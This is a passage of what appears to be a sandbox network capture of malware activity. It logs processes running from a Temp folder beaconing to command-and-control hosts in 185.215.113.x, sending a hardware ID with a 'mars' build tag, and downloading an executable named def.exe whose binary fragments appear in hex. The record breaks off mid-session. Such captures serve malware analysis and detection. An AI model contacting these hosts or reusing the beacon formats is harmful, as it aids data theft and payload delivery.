Nov 12, 2024 21:22:29.559721947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:29.559737921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:29.559834003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:29.559847116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:29.559859037 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:29.559870005 CET	1236	IN	Data Raw: 99 0a 20 a4 83 09 1d 46 6e d2 10 8b 6d c4 32 d2 e0 0a 33 dd 62 4b 09 81 40 ab 6c 90 80 37 36 b6 a5 98 0d db 41 35 28 9e 8d 98 fb 60 8a 2b 39 f1 ae ad ba e6 a4 3f 1c b1 a2 0d 34 8f a9 0c 3f fd e2 04 e4 6b b4 3e 30 84 b2 99 e6 51 f4 30 3b de 82 23 Data Ascii: Fnm23bK@l76A5(`+9?4?k>0Q0;#5m?u+T5]7q\|7_\|a40e}m3("s+3dCj';;7242Qm_6F%g@>\r%bM$$9&1<1>ki1
Nov 12, 2024 21:22:29.559883118 CET	1236	IN	Data Raw: 3d a2 94 62 d7 0d 50 d9 a7 f3 f2 ab 90 d3 a7 62 5e dd 37 a4 ed 97 0f a4 c9 d2 c9 a7 6f a9 17 df 15 c2 fe 93 c9 f2 68 60 9f e2 32 70 ef 3e e6 7b d6 37 56 3d 6a 82 68 50 08 f5 8f 6e 6e 37 fe a4 18 b2 3c bb 0c 97 55 e8 3c b7 1f a4 8e c3 31 85 bd 6a Data Ascii: =bPb^7oh`2p>{7V=jhPnn7<U<1jdnl/?;k~"1X<pK\|l6#:E6 >;9T@53j'6-B)R6S{6i.66f~N;B>6YART47*
Nov 12, 2024 21:22:29.564764023 CET	1236	IN	Data Raw: c1 eb 5e f1 cc 38 5d 09 d2 64 ca 4b a3 69 54 a0 d1 53 56 ad d7 f6 ae 7f 4c 9c 17 8b d9 82 7d c8 6f 21 b9 b8 6f fb 56 4c f4 50 09 6f da e0 67 a5 dc 3f 76 df f8 99 fd cc ea b0 69 f8 e8 21 7a 44 c6 8c a9 b4 6b ca 23 86 83 0d cf 4f 8b 88 67 44 f4 7f Data Ascii: ^8]dKiTSVL}o!oVLPog?vi!zDk#OgDQbfLNi1>ULb$>`le9)HzJ\|`9{jn:\A&}IpHB\|/)N;bn\|\|7&U^aFc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49826	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:28.782543898 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:22:29.685601950 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49828	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:31.203233957 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:22:32.117084026 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49830	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:33.757484913 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:22:34.654118061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49832	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:36.263956070 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:22:38.112375021 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 12, 2024 21:22:38.112405062 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 12, 2024 21:22:38.112426996 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 12, 2024 21:22:38.112467051 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49833	185.215.113.206	80	2368	C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:36.605101109 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 21:22:38.112416029 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:22:38.112437010 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:22:38.112456083 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:22:38.115389109 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKFIIJJKJJJJJJEGDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 42 36 31 44 43 42 31 33 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 2d 2d 0d 0a Data Ascii: ------EBAKFIIJJKJJJJJJEGDAContent-Disposition: form-data; name="hwid"E3B61DCB13684217651120------EBAKFIIJJKJJJJJJEGDAContent-Disposition: form-data; name="build"mars------EBAKFIIJJKJJJJJJEGDA--
Nov 12, 2024 21:22:38.403352022 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49835	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:39.750483990 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:22:40.650898933 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49837	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:42.221842051 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:22:43.185383081 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49838	185.215.113.16	80	6956	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:42.235409975 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 12, 2024 21:22:43.125901937 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:42 GMT Content-Type: application/octet-stream Content-Length: 2811392 Last-Modified: Tue, 12 Nov 2024 20:07:36 GMT Connection: keep-alive ETag: "6733b588-2ae600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 34 df 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +4+`Ui` @ @.rsrc`2@.idata 8@citkblqg*:@joxrtjxa @+@.taggant@`+"*@
Nov 12, 2024 21:22:43.125927925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:43.125941992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:43.125953913 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:43.125967026 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:43.125978947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:43.125993013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:43.126004934 CET	1236	IN	Data Raw: 3b 37 32 92 13 92 34 d9 9a e3 32 51 6d b5 5f 83 36 ae a9 b2 f9 c8 46 f3 a6 25 67 d0 40 a8 c8 a9 f2 bb ee 3e 5c 8a 89 72 25 62 7f 89 4d cc 24 d2 89 24 13 83 c5 39 26 d7 9b ca 31 d5 8b 3c fa ac 8d 31 03 93 13 3e 0f 6b f6 d5 13 c9 69 d3 31 22 d4 1a Data Ascii: ;7242Qm_6F%g@>\r%bM$$9&1<1>ki1"):TJyC; 687\|i?7>1U+)Z'n`)8g4C{m1~;(vr?rykm(~V5xiV1v
Nov 12, 2024 21:22:43.126019001 CET	1236	IN	Data Raw: 06 36 19 69 2e 36 1d bd 36 03 92 88 90 db 18 00 d8 c3 04 95 eb c8 66 b0 a9 be 7e 99 8f fb 0e 92 d9 c3 4e b3 3b 9b 42 9c 3e 08 8f 10 8e 36 59 93 d9 97 1a 41 ea ff aa 8e fd 52 a4 54 d6 db a6 ab e9 da ee 34 93 b7 37 1b 8e bb 16 92 19 2a 8d 20 00 73 Data Ascii: 6i.66f~N;B>6YART47* s\|RUY6m_GhOr9,r3hhOyL3pwon,/-ER7N3QX3iD~h#(6Hc70#R?';d<2/
Nov 12, 2024 21:22:43.126035929 CET	1236	IN	Data Raw: f1 d1 03 98 e5 f3 1a ac ca 9e ca 92 82 1f 09 0e 9f 08 1b 41 de 26 7d f8 92 ed 49 70 ff 13 af fe f4 de 48 42 9c b2 7c de 08 ec 2f af b9 29 4e e8 c8 3b ad 62 6e 98 8b 7c 88 0b a7 7c fb e8 aa 37 00 26 55 80 8b ec 5e 9a 9e 61 ee 9d 17 46 63 2d 5d 1d Data Ascii: A&}IpHB\|/)N;bn\|\|7&U^aFc-]2fdQV%b?OqB~^b9&{G.7Ow!Hy*!!pNy#YIE{Kb6\[?5nzH7Gp0ycwG
Nov 12, 2024 21:22:43.130995035 CET	1120	IN	Data Raw: 96 fe d3 c4 a0 2f 38 b5 bd 53 3f de 74 0f 7b b2 6d 26 37 52 6c 2f 59 a1 68 c1 d6 78 91 3e d4 8d 6d 3f 5f 67 db 2a eb ef ed 12 25 4b cf 78 07 00 d9 75 a2 99 ce 99 12 d1 d9 09 0b 6e f6 ea 56 67 66 94 54 9c fd e8 5b c0 58 d6 35 e2 28 9c a9 5f f8 13 Data Ascii: /8S?t{m&7Rl/Yhx>m?_g*%KxunVgfT[X5(__f0k?^+noi4jk2Lg7n#o"im1<8=,{5Dcn=-th_`m]6m{g[lTFU9Va\|pj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49839	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:44.813612938 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:22:45.725514889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49840	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:47.238708019 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:22:48.196445942 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49841	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:49.845484972 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:22:50.747724056 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49843	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:52.298702002 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:22:53.245146990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49846	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:55.080668926 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:22:55.975213051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49848	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
